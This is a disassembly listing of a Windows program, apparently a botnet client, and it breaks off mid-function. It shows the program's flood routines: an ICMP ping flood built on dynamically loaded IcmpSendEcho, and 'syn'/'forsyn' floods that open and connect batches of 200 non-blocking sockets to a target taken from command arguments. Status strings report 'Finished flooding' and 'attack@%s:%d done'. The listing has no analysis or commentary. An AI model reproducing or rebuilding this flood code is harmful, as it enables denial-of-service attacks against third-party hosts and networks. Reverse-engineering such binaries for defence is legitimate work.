mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 3
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 4
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea ecx, [esi+69h]
push ecx
lea ecx, [ebp+26h]
call sub_401FBE
mov dl, [esi+93h]
mov ecx, ebp
mov [ebp+8Fh], dl
mov al, [esi+94h]
mov [ebp+90h], al
call sub_4013D4
mov ebp, [esp+54h]
loc_425D68: ; CODE XREF: ___:00425C11j
lea ecx, [ebx+8Eh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_425EDA
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 5
jz short loc_425DAB
mov ecx, eax
call sub_401BC7
mov ebp, eax
jmp short loc_425DAD
; ---------------------------------------------------------------------------
loc_425DAB: ; CODE XREF: ___:00425D9Ej
xor ebp, ebp
loc_425DAD: ; CODE XREF: ___:00425DA9j
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 1
push ecx
mov byte ptr [ebx+11Ch], 1
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 6
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 2
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 7
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+50h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 8
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 4
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 9
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_425EDA: ; CODE XREF: ___:00425D7Dj
lea ecx, [ebx+4]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_426049
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Ah
jz short loc_425F1A
mov ecx, eax
call sub_40130C
mov ebp, eax
jmp short loc_425F1C
; ---------------------------------------------------------------------------
loc_425F1A: ; CODE XREF: ___:00425F0Dj
xor ebp, ebp
loc_425F1C: ; CODE XREF: ___:00425F18j
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push edx
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 0Bh
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Ch
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Dh
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 4
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 0Eh
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea eax, [esi+69h]
lea ecx, [ebp+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [ebp+8Fh], cl
mov dl, [esi+94h]
mov ecx, ebp
mov [ebp+90h], dl
call sub_4013D4
mov ebp, [esp+54h]
loc_426049: ; CODE XREF: ___:00425EECj
lea ecx, [ebx+32h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_4261F4
push 95h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+10h], eax
test eax, eax
mov dword ptr [esp+4Ch], 0Fh
jz short loc_426089
mov ecx, eax
call sub_401785
mov ebp, eax
jmp short loc_42608B
; ---------------------------------------------------------------------------
loc_426089: ; CODE XREF: ___:0042607Cj
xor ebp, ebp
loc_42608B: ; CODE XREF: ___:00426087j
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 1
mov byte ptr [ebx+11Ch], 1
push eax
mov ecx, esi
mov dword ptr [esp+58h], 0FFFFFFFFh
mov [ebp+91h], ebx
call sub_4016AE
push eax
lea ecx, [ebp+3Bh]
mov dword ptr [esp+50h], 10h
call sub_401FBE
lea ecx, [esp+14h]
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+18h]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 11h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+5Ch], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+18h]
push 3
push edx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 12h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+60h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+18h]
push 4
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 13h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+14h]
mov [ebp+54h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+30h]
push 5
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+4Ch], 14h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
lea ecx, [esp+2Ch]
mov [ebp+58h], eax
mov dword ptr [esp+4Ch], 0FFFFFFFFh
call sub_401226
lea edx, [esi+69h]
lea ecx, [ebp+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [ebp+8Fh], al
mov cl, [esi+94h]
mov [ebp+90h], cl
mov ecx, ebp
call sub_4013D4
mov ebp, [esp+54h]
loc_4261F4: ; CODE XREF: ___:0042605Bj
lea ecx, [ebx+0EAh]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_426211
mov [ebx+11Ch], al
loc_426211: ; CODE XREF: ___:00426209j
mov ecx, [esp+44h]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 40h
retn 4
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 1A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4263D0 proc near ; CODE XREF: sub_401A64j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A44
push esi
mov esi, ecx
mov eax, [esi+91h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_4263F1
inc ecx
mov [eax+118h], ecx
loc_4263F1: ; CODE XREF: sub_4263D0+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+91h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
sub_4263D0 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426450 proc near ; CODE XREF: sub_40130Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426450
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aPing ; "ping"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0DC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426450 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4264C0 proc near ; CODE XREF: sub_401F7Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4264C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+11h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+79h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E0EC
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4264C0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426560 proc near ; CODE XREF: sub_4014C4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426560
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E0EC
lea ecx, [esi+79h]
mov [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+64h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Bh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+26h]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426560 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426620: ; CODE XREF: ___:loc_4016D1j
; ___:0040217Bj
push esi
mov esi, ecx
call sub_4014C4
test byte ptr [esp+8], 1
jz short loc_426638
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426638: ; CODE XREF: ___:0042662Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426650 proc near ; CODE XREF: sub_4011FEj ___:00402081j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_402090
test [esp+4+arg_0], 1
jz short loc_426668
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426668: ; CODE XREF: sub_426650+Dj
mov eax, esi
pop esi
retn 4
sub_426650 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426680 proc near ; CODE XREF: sub_402090j
jmp sub_4014C4
sub_426680 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4266A0 proc near ; CODE XREF: sub_401A41j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4266A0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+60h]
mov edx, [esi+5Ch]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
mov ecx, ebp
call sub_4014D3
mov cl, [esi+8Fh]
push eax
mov al, [esi+90h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 28h
lea ecx, [esp+34h+var_24]
call sub_401424
mov edx, [esi+54h]
mov eax, [esi+60h]
mov ecx, [esi+5Ch]
push edx
push eax
push ecx
mov ecx, edi
mov [esp+40h+var_4], 0
call sub_4014D3
push eax
call sub_40182F
add esp, 10h
test eax, eax
jz short loc_426764
mov edx, [esi+5Ch]
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times"
push eax
call sub_40102D
add esp, 14h
jmp short loc_42677E
; ---------------------------------------------------------------------------
loc_426764: ; CODE XREF: sub_4266A0+9Aj
mov ecx, ebx
call sub_4017E4
push eax
lea ecx, [esp+38h+var_24]
push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
push ecx
call sub_40102D
add esp, 0Ch
loc_42677E: ; CODE XREF: sub_4266A0+C2j
lea ecx, [esp+34h+var_24]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4014D3
mov dl, [esi+90h]
push eax
mov al, [esi+8Fh]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 14h
lea ecx, [esp+34h+var_24]
mov [esp+34h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+34h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 24h
retn
sub_4266A0 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426820 proc near ; CODE XREF: sub_401E7Ej
var_1A = byte ptr -1Ah
var_18 = byte ptr -18h
arg_0 = byte ptr 4
arg_FFE0 = dword ptr 0FFE4h
arg_FFE4 = dword ptr 0FFE8h
arg_FFE8 = dword ptr 0FFECh
arg_FFEC = dword ptr 0FFF0h
mov eax, 0FFFCh
call sub_436840
push esi
push edi
push offset aIcmp_dll ; "ICMP.DLL"
nop
call near ptr 27E0865h
mov esi, eax
test esi, esi
jz short loc_42688A
mov edi, dword_50F8A0
push offset aIcmpcreatefile ; "IcmpCreateFile"
push esi
call edi
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push esi
mov dword_50E150, eax
call edi
push offset aIcmpsendecho ; "IcmpSendEcho"
push esi
mov dword_50E154, eax
call edi
mov ecx, dword_50E150
mov dword_50E14C, eax
test ecx, ecx
jz short loc_42688A
mov edx, dword_50E154
test edx, edx
jz short loc_42688A
test eax, eax
jz short loc_42688A
mov al, [esp+0Bh]
test al, al
jz short loc_426895
loc_42688A: ; CODE XREF: sub_426820+1Bj
; sub_426820+52j ...
pop edi
xor eax, eax
pop esi
add esp, 0FFFCh
retn
; ---------------------------------------------------------------------------
loc_426895: ; CODE XREF: sub_426820+68j
mov edx, [esp+24h+arg_FFE8]
mov eax, 0FFDCh
cmp edx, eax
jle short loc_4268AC
mov [esp+24h+arg_FFE8], eax
loc_4268AC: ; CODE XREF: sub_426820+83j
push ebx
push ebp
mov ebp, [esp+2Ch+arg_FFEC]
cmp ebp, 1
jge short loc_4268BF
mov ebp, 1
loc_4268BF: ; CODE XREF: sub_426820+98j
call ecx ; IcmpCreateFile
mov ebx, [esp+2Ch+arg_FFE4]
xor esi, esi
test ebx, ebx
mov edi, eax
jle short loc_426904
loc_4268D0: ; CODE XREF: sub_426820+E2j
mov al, byte_4D64F9
test al, al
jz short loc_426904
mov ecx, [esp+2Ch+arg_FFE8]
push ebp
lea eax, [esp+30h+var_18]
push 1Ch
push eax
mov eax, [esp+38h+arg_FFE0]
push 0
lea edx, [esp+3Ch+arg_0]
push ecx
push edx
push eax
push edi
call dword_50E14C ; IcmpSendEcho
inc esi
cmp esi, ebx
jl short loc_4268D0
loc_426904: ; CODE XREF: sub_426820+AEj
; sub_426820+B7j
push edi
call dword_50E154 ; IcmpCloseHandle
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0FFFCh
retn
sub_426820 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426960 proc near ; CODE XREF: sub_40182Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_0]
push eax
call sub_40187F
mov ecx, [esp+4+arg_C]
mov edx, [esp+4+arg_8]
push ecx
mov ecx, [esp+8+arg_4]
push edx
push ecx
push eax
call sub_401E7E
add esp, 14h
retn
sub_426960 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4269A0 proc near ; CODE XREF: sub_401BC7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4269A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aForsyn ; "forsyn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E0FC
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4269A0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_426A10: ; CODE XREF: ___:00401A19j
; ___:loc_401AAFj
push esi
mov esi, ecx
call sub_4017FD
test byte ptr [esp+8], 1
jz short loc_426A28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426A28: ; CODE XREF: ___:00426A1Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426A40 proc near ; CODE XREF: sub_4017FDj
jmp sub_4014C4
sub_426A40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426A60 proc near ; CODE XREF: sub_401366j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426A60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
mov ebx, ecx
xor eax, eax
mov ecx, offset byte_4E5DCF
mov [esp+2Ch+var_28], eax
loc_426A86: ; CODE XREF: sub_426A60+35j
cmp dword ptr [ecx], 0
jz short loc_426A97
add ecx, 78h
inc eax
cmp ecx, offset byte_4E672F
jl short loc_426A86
loc_426A97: ; CODE XREF: sub_426A60+29j
cmp eax, 13h
mov [esp+2Ch+var_28], eax
jg loc_426C49
lea eax, [eax+eax*2]
push ebp
push esi
push edi
lea eax, [eax+eax*4]
lea ecx, [ebx+3Bh]
lea ebp, ds:4E5D5Bh[eax*8]
call sub_4017E4
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov cx, [ebx+58h]
push ecx
nop
call near ptr 71AB2B66h
and eax, 0FFFFh
mov [ebp+64h], eax
mov eax, [ebx+54h]
cmp eax, 5
mov [ebp+68h], eax
jge short loc_426B00
mov dword ptr [ebp+68h], 5
loc_426B00: ; CODE XREF: sub_426A60+97j
mov edx, [ebx+50h]
mov ecx, 80h
xor eax, eax
mov edi, offset dword_50E15C
mov [ebp+6Ch], edx
lea esi, [ebx+11h]
rep stosd
mov eax, [ebx+50h]
mov ecx, [ebx+58h]
push eax
push ecx
lea ecx, [ebx+3Bh]
lea edi, [ebx+26h]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
push offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60B5
call sub_401848
mov ecx, [esp+50h+var_1C]
add esp, 24h
push offset dword_50E35C
push 0
push ecx
push offset sub_4012C1
push 0
push 0
nop
call near ptr 278088Eh
test eax, eax
mov dword_50E360, eax
jz short loc_426B9B
push offset dword_446F74
push 5
push eax
push 0
push offset dword_50E15C
call sub_4013E8
add esp, 14h
mov [ebp+70h], eax
jmp short loc_426BCB
; ---------------------------------------------------------------------------
loc_426B9B: ; CODE XREF: sub_426A60+11Dj
mov ecx, esi
call sub_4017E4
push eax
push offset aSErrorCreating ; "%s: error creating threads"
mov ecx, edi
call sub_4014D3
mov dl, [ebx+90h]
push eax
mov al, [ebx+8Fh]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_426BCB: ; CODE XREF: sub_426A60+139j
lea ecx, [esp+38h+var_24]
call sub_401424
mov ecx, [ebx+58h]
mov [esp+38h+var_4], 0
push ecx
lea ecx, [ebx+3Bh]
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
lea edx, [esp+44h+var_24]
push offset aSAttack@SDDone ; "%s: attack@%s:%d done."
push edx
call sub_40102D
add esp, 14h
lea ecx, [esp+38h+var_24]
call sub_4017E4
push eax
push offset aS ; "%s"
mov ecx, edi
call sub_4014D3
mov cl, [ebx+8Fh]
push eax
mov al, [ebx+90h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 18h
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
pop ebp
loc_426C49: ; CODE XREF: sub_426A60+3Ej
mov ecx, [esp+2Ch+var_C]
pop ebx
mov large fs:0, ecx
add esp, 28h
retn
sub_426A60 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426CE0 proc near ; CODE XREF: sub_4012C1j
var_338 = dword ptr -338h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = byte ptr -320h
arg_0 = dword ptr 4
sub esp, 338h
mov eax, [esp+338h+arg_0]
push ebp
push esi
mov esi, 1
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea ebp, ds:4E5D5Bh[eax*8]
xor eax, eax
mov [esp+340h+var_334], eax
mov word ptr [esp+340h+var_334], 2
mov [ebp+74h], esi
mov cx, [ebp+64h]
mov [esp+340h+var_330], eax
push ecx
mov [esp+344h+var_32C], eax
mov [esp+344h+var_328], eax
call near ptr 71AB2B66h
nop
push ebp
mov [esp+344h+var_324], esi
mov word ptr [esp+344h+var_334+2], ax
call near ptr 71AB2BF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_426D76
push ebp
nop
call near ptr 71AB4FD4h
xor edx, edx
cmp eax, edx
jnz short loc_426D6F
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop esi
pop ebp
lea eax, [ecx+ecx*4]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6775[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
; ---------------------------------------------------------------------------
loc_426D6F: ; CODE XREF: sub_426CE0+68j
mov ecx, [eax+0Ch]
mov edx, [ecx]
mov eax, [edx]
loc_426D76: ; CODE XREF: sub_426CE0+5Bj
mov [esp+340h+var_330], eax
mov eax, [ebp+6Ch]
push ebx
push edi
test eax, eax
mov [esp+348h+var_338], 0
jle loc_426E26
mov ebx, dword_50FC30
loc_426D95: ; CODE XREF: sub_426CE0+140j
mov al, byte_4D64F9
test al, al
jz loc_426E26
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DAB: ; CODE XREF: sub_426CE0+EFj
push 0
push 1
push 2
call ebx ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_426DCB
lea ecx, [esp+348h+var_324]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB4519h
loc_426DCB: ; CODE XREF: sub_426CE0+D8j
add esi, 4
dec edi
jnz short loc_426DAB
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426DDA: ; CODE XREF: sub_426CE0+10Ej
mov eax, [esi]
lea edx, [esp+348h+var_334]
push 10h
push edx
push eax
nop
call near ptr 71AB406Ah
add esi, 4
dec edi
jnz short loc_426DDA
mov ecx, [ebp+68h]
push ecx
nop
call near ptr 2850303h
lea esi, [esp+348h+var_320]
mov edi, 0C8h
loc_426E03: ; CODE XREF: sub_426CE0+130j
mov edx, [esi]
push edx
nop
call near ptr 71AB9639h
add esi, 4
dec edi
jnz short loc_426E03
mov eax, [esp+348h+var_338]
mov ecx, [ebp+6Ch]
inc eax
cmp eax, ecx
mov [esp+348h+var_338], eax
jl loc_426D95
loc_426E26: ; CODE XREF: sub_426CE0+A9j
; sub_426CE0+BCj
xor edx, edx
pop edi
mov [ebp+74h], edx
mov ecx, [ebp+70h]
pop ebx
pop esi
lea eax, [ecx+ecx*4]
pop ebp
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*4]
mov dword_4D6775[eax*2], edx
xor eax, eax
add esp, 338h
retn 4
sub_426CE0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426EB0 proc near ; CODE XREF: sub_401DD9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426EB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F7D
push offset aSyn ; "syn"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E10C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_426EB0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4010FF
test [esp+4+arg_0], 1
jz short loc_426F38
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_426F38: ; CODE XREF: sub_426F20+Dj
mov eax, esi
pop esi
retn 4
sub_426F20 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426F50 proc near ; CODE XREF: sub_4010FFj
jmp sub_4014C4
sub_426F50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426F70 proc near ; CODE XREF: sub_401E92j
var_24 = byte ptr -24h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_426F70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+54h]
mov ecx, [esi+50h]
mov edx, [esi+58h]
lea edi, [esi+3Bh]
push eax
push ecx
push edx
mov ecx, edi
lea ebx, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)"
mov ecx, ebp
